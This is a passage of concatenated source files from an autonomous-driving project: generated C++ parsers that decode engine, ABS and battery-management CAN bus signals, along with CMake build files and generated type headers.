Gw_ems_whltq_0x107_107::Ems_accpedalratioerrorType ret = static_cast<Gw_ems_whltq_0x107_107::Ems_accpedalratioerrorType>(x); return ret; } // config detail: {'name': 'ems_brkpedalstasus', 'enum': {0: 'EMS_BRKPEDALSTASUS_NOTPRESSED', 1: 'EMS_BRKPEDALSTASUS_PRESSED', 2: 'EMS_BRKPEDALSTASUS_RESERVED', 3: 'EMS_BRKPEDALSTASUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_whltq_0x107_107::Ems_brkpedalstasusType Gwemswhltq0x107107::ems_brkpedalstasus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_ems_whltq_0x107_107::Ems_brkpedalstasusType ret = static_cast<Gw_ems_whltq_0x107_107::Ems_brkpedalstasusType>(x); return ret; } // config detail: {'name': 'dcm_ems_checksum_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemswhltq0x107107::dcm_ems_checksum_0x107(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'maxindicatedtorqwhl', 'enum': {65535: 'MAXINDICATEDTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwemswhltq0x107107::maxindicatedtorqwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = static_cast<int>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_turnsignal_h #define impl_type_turnsignal_h #include "impl_type_uint8.h" enum class TurnSignal : UInt8 { TURN_NONE = 0, TURN_LEFT = 1, TURN_RIGHT = 2 }; #endif // impl_type_turnsignal_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(proto) add_library(vehicle_state_provider vehicle_state_provider.cc vehicle_state_provider.h) target_link_libraries(vehicle_state_provider jmcauto_log macro config_gflags geometry quaternion status vehicle_state_proto localization_common )<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_ems_sts_0x151_151.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwemssts0x151151::Gwemssts0x151151() {} const int32_t Gwemssts0x151151::ID = 0x151; void Gwemssts0x151151::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_engbarometricpressure(ems_engbarometricpressure(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_vacuumpressure(ems_vacuumpressure(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_targcruisespeed(ems_targcruisespeed(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_atsdrivingmodestatus(ems_atsdrivingmodestatus(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_enginestopstartstatus(ems_enginestopstartstatus(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_dcm_ems_rollingcounter_0x151(dcm_ems_rollingcounter_0x151(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_cruisecontrolstatus(ems_cruisecontrolstatus(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_drivingmodechange_fault_flag(ems_drivingmodechange_fault_flag(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_dcm_ems_checksum_0x151(dcm_ems_checksum_0x151(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_sts_0x151_151()->set_ems_engofftime(ems_engofftime(bytes, length)); } // config detail: {'name': 'ems_engbarometricpressure', 'enum': {255: 'EMS_ENGBAROMETRICPRESSURE_INVALID'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|254]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'KPa'} int Gwemssts0x151151::ems_engbarometricpressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); int ret = static_cast<int>(x); return ret; } // config detail: {'name': 'ems_vacuumpressure', 'enum': {1023: 'EMS_VACUUMPRESSURE_INVALID'}, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'offset': -92.7, 'physical_range': '[-92.7|5]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Kpa'} double Gwemssts0x151151::ems_vacuumpressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 4); int32_t t = t1.get_byte(6, 2); x <<= 2; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'ems_targcruisespeed', 'enum': {511: 'EMS_TARGCRUISESPEED_INVALID'}, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Km h'} double Gwemssts0x151151::ems_targcruisespeed(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'ems_atsdrivingmodestatus', 'enum': {0: 'EMS_ATSDRIVINGMODESTATUS_STANDARD', 1: 'EMS_ATSDRIVINGMODESTATUS_SPORT', 2: 'EMS_ATSDRIVINGMODESTATUS_ECO', 3: 'EMS_ATSDRIVINGMODESTATUS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_atsdrivingmodestatusType Gwemssts0x151151::ems_atsdrivingmodestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(1, 2); Gw_ems_sts_0x151_151::Ems_atsdrivingmodestatusType ret = static_cast<Gw_ems_sts_0x151_151::Ems_atsdrivingmodestatusType>(x); return ret; } // config detail: {'name': 'ems_enginestopstartstatus', 'enum': {0: 'EMS_ENGINESTOPSTARTSTATUS_NON_START_STOPMODE', 1: 'EMS_ENGINESTOPSTARTSTATUS_ENGINESTANDBY', 2: 'EMS_ENGINESTOPSTARTSTATUS_ENGINESTOPPED', 3: 'EMS_ENGINESTOPSTARTSTATUS_STARTERRESTART', 4: 'EMS_ENGINESTOPSTARTSTATUS_ENGINERESTART', 5: 'EMS_ENGINESTOPSTARTSTATUS_ENGINEOPERATION', 6: 'EMS_ENGINESTOPSTARTSTATUS_ENGINEAUTO_STOPPING', 7: 'EMS_ENGINESTOPSTARTSTATUS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_enginestopstartstatusType Gwemssts0x151151::ems_enginestopstartstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(3, 3); Gw_ems_sts_0x151_151::Ems_enginestopstartstatusType ret = static_cast<Gw_ems_sts_0x151_151::Ems_enginestopstartstatusType>(x); return ret; } // config detail: {'name': 'dcm_ems_rollingcounter_0x151', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemssts0x151151::dcm_ems_rollingcounter_0x151(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'ems_cruisecontrolstatus', 'enum': {0: 'EMS_CRUISECONTROLSTATUS_CRUISECONTROLOOFF', 1: 'EMS_CRUISECONTROLSTATUS_ACTIVE', 2: 'EMS_CRUISECONTROLSTATUS_STANDBY', 3: 'EMS_CRUISECONTROLSTATUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_cruisecontrolstatusType Gwemssts0x151151::ems_cruisecontrolstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 2); Gw_ems_sts_0x151_151::Ems_cruisecontrolstatusType ret = static_cast<Gw_ems_sts_0x151_151::Ems_cruisecontrolstatusType>(x); return ret; } // config detail: {'name': 'ems_drivingmodechange_fault_flag', 'enum': {0: 'EMS_DRIVINGMODECHANGE_FAULT_FLAG_NORMAL', 1: 'EMS_DRIVINGMODECHANGE_FAULT_FLAG_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_sts_0x151_151::Ems_drivingmodechange_fault_flagType Gwemssts0x151151::ems_drivingmodechange_fault_flag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Gw_ems_sts_0x151_151::Ems_drivingmodechange_fault_flagType ret = static_cast<Gw_ems_sts_0x151_151::Ems_drivingmodechange_fault_flagType>(x); return ret; } // config detail: {'name': 'dcm_ems_checksum_0x151', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemssts0x151151::dcm_ems_checksum_0x151(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'ems_engofftime', 'enum': {65535: 'EMS_ENGOFFTIME_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|65534]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 's'} int Gwemssts0x151151::ems_engofftime(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = static_cast<int>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) file(GLOB_RECURSE canbus_teshun_protocol_lib *.cc *.h) add_library(canbus_teshun_protocol canbus_teshun_protocol_lib) target_link_libraries(canbus_teshun_protocol canbus_common canbus_proto message_manager_base)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) file(GLOB_RECURSE canbus_cx75_protocol_lib *.cc *.h) add_library(canbus_cx75_protocol ${canbus_cx75_protocol_lib}) target_link_libraries(canbus_cx75_protocol canbus_common canbus_proto message_manager_base)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include "jmc_auto/controlcommandserviceinterface_common.h" namespace jmc_auto { constexpr ara::com::ServiceIdentifierType ControlCommandServiceInterface::ServiceIdentifier; constexpr ara::com::ServiceVersionType ControlCommandServiceInterface::ServiceVersion;; } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_candata_h #define impl_type_candata_h #include "ara/core/vector.h" #include "impl_type_uint8.h" using CanData = ara::core::Vector<UInt8>; #endif // impl_type_candata_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_elementlist_h #define impl_type_elementlist_h #include "ara/core/vector.h" #include "impl_type_element.h" using ElementList = ara::core::Vector<Element>; #endif // impl_type_elementlist_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_int64_h #define impl_type_int64_h #include "base_type_std_int64_t.h" typedef std_int64_t Int64; #endif // impl_type_int64_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_vehiclestate_h #define impl_type_vehiclestate_h #include "impl_type_double.h" struct VehicleState { ::Double x; ::Double y; ::Double z; ::Double timestamp; ::Double roll; ::Double pitch; ::Double yaw; ::Double heading; ::Double kappa; ::Double linear_velocity; ::Double angular_velocity; ::Double linear_acceleration; ::Double gear; ::Double driving_mode; ::Double pose; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(x); fun(y); fun(z); fun(timestamp); fun(roll); fun(pitch); fun(yaw); fun(heading); fun(kappa); fun(linear_velocity); fun(angular_velocity); fun(linear_acceleration); fun(gear); fun(driving_mode); fun(pose); } template<typename F> void enumerate(F& fun) const { fun(x); fun(y); fun(z); fun(timestamp); fun(roll); fun(pitch); fun(yaw); fun(heading); fun(kappa); fun(linear_velocity); fun(angular_velocity); fun(linear_acceleration); fun(gear); fun(driving_mode); fun(pose); } bool operator == (const ::VehicleState& t) const { return (x == t.x) && (y == t.y) && (z == t.z) && (timestamp == t.timestamp) && (roll == t.roll) && (pitch == t.pitch) && (yaw == t.yaw) && (heading == t.heading) && (kappa == t.kappa) && (linear_velocity == t.linear_velocity) && (angular_velocity == t.angular_velocity) && (linear_acceleration == t.linear_acceleration) && (gear == t.gear) && (driving_mode == t.driving_mode) && (pose == t.pose); } }; #endif // impl_type_vehiclestate_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_abs_sts_0x221_221.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwabssts0x221221::Gwabssts0x221221() {} const int32_t Gwabssts0x221221::ID = 0x221; void Gwabssts0x221221::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_checksum_0x221(checksum_0x221(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_rolling_counter_0x221(rolling_counter_0x221(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_whlmilgfrntlestatus(abs_whlmilgfrntlestatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_whlmilgfrntristatus(abs_whlmilgfrntristatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_vehspdlgtstatus(abs_vehspdlgtstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_vehspddirection(abs_vehspddirection(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_vehspdlgt(abs_vehspdlgt(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_ebdflgflt(abs_ebdflgflt(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_absflgflt(abs_absflgflt(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_absctrlactv(abs_absctrlactv(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_whlmilgfrntri(abs_whlmilgfrntri(bytes, length)); chassis->mutable_teshun()->mutable_gw_abs_sts_0x221_221()->set_abs_whlmilgfrntle(abs_whlmilgfrntle(bytes, length)); } // config detail: {'name': 'checksum_0x221', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwabssts0x221221::checksum_0x221(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x221', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwabssts0x221221::rolling_counter_0x221(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'abs_whlmilgfrntlestatus', 'enum': {0: 'ABS_WHLMILGFRNTLESTATUS_VALID', 1: 'ABS_WHLMILGFRNTLESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_whlmilgfrntlestatusType Gwabssts0x221221::abs_whlmilgfrntlestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Gw_abs_sts_0x221_221::Abs_whlmilgfrntlestatusType ret = static_cast<Gw_abs_sts_0x221_221::Abs_whlmilgfrntlestatusType>(x); return ret; } // config detail: {'name': 'abs_whlmilgfrntristatus', 'enum': {0: 'ABS_WHLMILGFRNTRISTATUS_VALID', 1: 'ABS_WHLMILGFRNTRISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_whlmilgfrntristatusType Gwabssts0x221221::abs_whlmilgfrntristatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Gw_abs_sts_0x221_221::Abs_whlmilgfrntristatusType ret = static_cast<Gw_abs_sts_0x221_221::Abs_whlmilgfrntristatusType>(x); return ret; } // config detail: {'name': 'abs_vehspdlgtstatus', 'enum': {0: 'ABS_VEHSPDLGTSTATUS_VALID', 1: 'ABS_VEHSPDLGTSTATUS_INVALID', 2: 'ABS_VEHSPDLGTSTATUS_INIT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_vehspdlgtstatusType Gwabssts0x221221::abs_vehspdlgtstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_abs_sts_0x221_221::Abs_vehspdlgtstatusType ret = static_cast<Gw_abs_sts_0x221_221::Abs_vehspdlgtstatusType>(x); return ret; } // config detail: {'name': 'abs_vehspddirection', 'enum': {0: 'ABS_VEHSPDDIRECTION_FORWARD', 1: 'ABS_VEHSPDDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 36, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_vehspddirectionType Gwabssts0x221221::abs_vehspddirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 1); Gw_abs_sts_0x221_221::Abs_vehspddirectionType ret = static_cast<Gw_abs_sts_0x221_221::Abs_vehspddirectionType>(x); return ret; } // config detail: {'name': 'abs_vehspdlgt', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.2875]', 'bit': 35, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double Gwabssts0x221221::abs_vehspdlgt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.056250; return ret; } // config detail: {'name': 'abs_ebdflgflt', 'enum': {0: 'ABS_EBDFLGFLT_NO_FAILURE', 1: 'ABS_EBDFLGFLT_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_ebdflgfltType Gwabssts0x221221::abs_ebdflgflt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(5, 1); Gw_abs_sts_0x221_221::Abs_ebdflgfltType ret = static_cast<Gw_abs_sts_0x221_221::Abs_ebdflgfltType>(x); return ret; } // config detail: {'name': 'abs_absflgflt', 'enum': {0: 'ABS_ABSFLGFLT_NO_FAILURE', 1: 'ABS_ABSFLGFLT_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_absflgfltType Gwabssts0x221221::abs_absflgflt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(6, 1); Gw_abs_sts_0x221_221::Abs_absflgfltType ret = static_cast<Gw_abs_sts_0x221_221::Abs_absflgfltType>(x); return ret; } // config detail: {'name': 'abs_absctrlactv', 'enum': {0: 'ABS_ABSCTRLACTV_NOT_ACTIVE', 1: 'ABS_ABSCTRLACTV_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_abs_sts_0x221_221::Abs_absctrlactvType Gwabssts0x221221::abs_absctrlactv(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(7, 1); Gw_abs_sts_0x221_221::Abs_absctrlactvType ret = static_cast<Gw_abs_sts_0x221_221::Abs_absctrlactvType>(x); return ret; } // config detail: {'name': 'abs_whlmilgfrntri', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwabssts0x221221::abs_whlmilgfrntri(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } // config detail: {'name': 'abs_whlmilgfrntle', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwabssts0x221221::abs_whlmilgfrntle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(navigation_proto navigation.pb.cc navigation.pb.h) target_link_libraries(navigation_proto header_proto pnc_point_proto localization_proto map_proto perception_proto protobuf) add_library(relative_map_config_proto relative_map_config.pb.cc relative_map_config.pb.h) target_link_libraries(relative_map_config_proto protobuf) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_bms_sts_0x181_181.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwbmssts0x181181::Gwbmssts0x181181() {} const int32_t Gwbmssts0x181181::ID = 0x181; void Gwbmssts0x181181::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_checksum_0x181(checksum_0x181(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_rolling_counter_0x181(rolling_counter_0x181(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_err_lev(bms_err_lev(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_idu_status(bms_idu_status(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_batbalance_err(bms_batbalance_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_socactual_est(bms_socactual_est(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_packcur_meas(bms_packcur_meas(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_chg_sts(bms_chg_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_packvol_meas(bms_packvol_meas(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_balance_sts(bms_balance_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_packnum_est(bms_packnum_est(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_hvdown_req(bms_hvdown_req(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_hvonoff_sts(bms_hvonoff_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_bms_sts_0x181_181()->set_bms_sys_sts(bms_sys_sts(bytes, length)); } // config detail: {'name': 'checksum_0x181', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwbmssts0x181181::checksum_0x181(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x181', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwbmssts0x181181::rolling_counter_0x181(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'bms_err_lev', 'enum': {0: 'BMS_ERR_LEV_NO_ERROR', 1: 'BMS_ERR_LEV_LEVEL1_ERROR', 2: 'BMS_ERR_LEV_LEVEL2_ERROR', 3: 'BMS_ERR_LEV_LEVEL3_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_err_levType Gwbmssts0x181181::bms_err_lev(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 2); Gw_bms_sts_0x181_181::Bms_err_levType ret = static_cast<Gw_bms_sts_0x181_181::Bms_err_levType>(x); return ret; } // config detail: {'name': 'bms_idu_status', 'enum': {0: 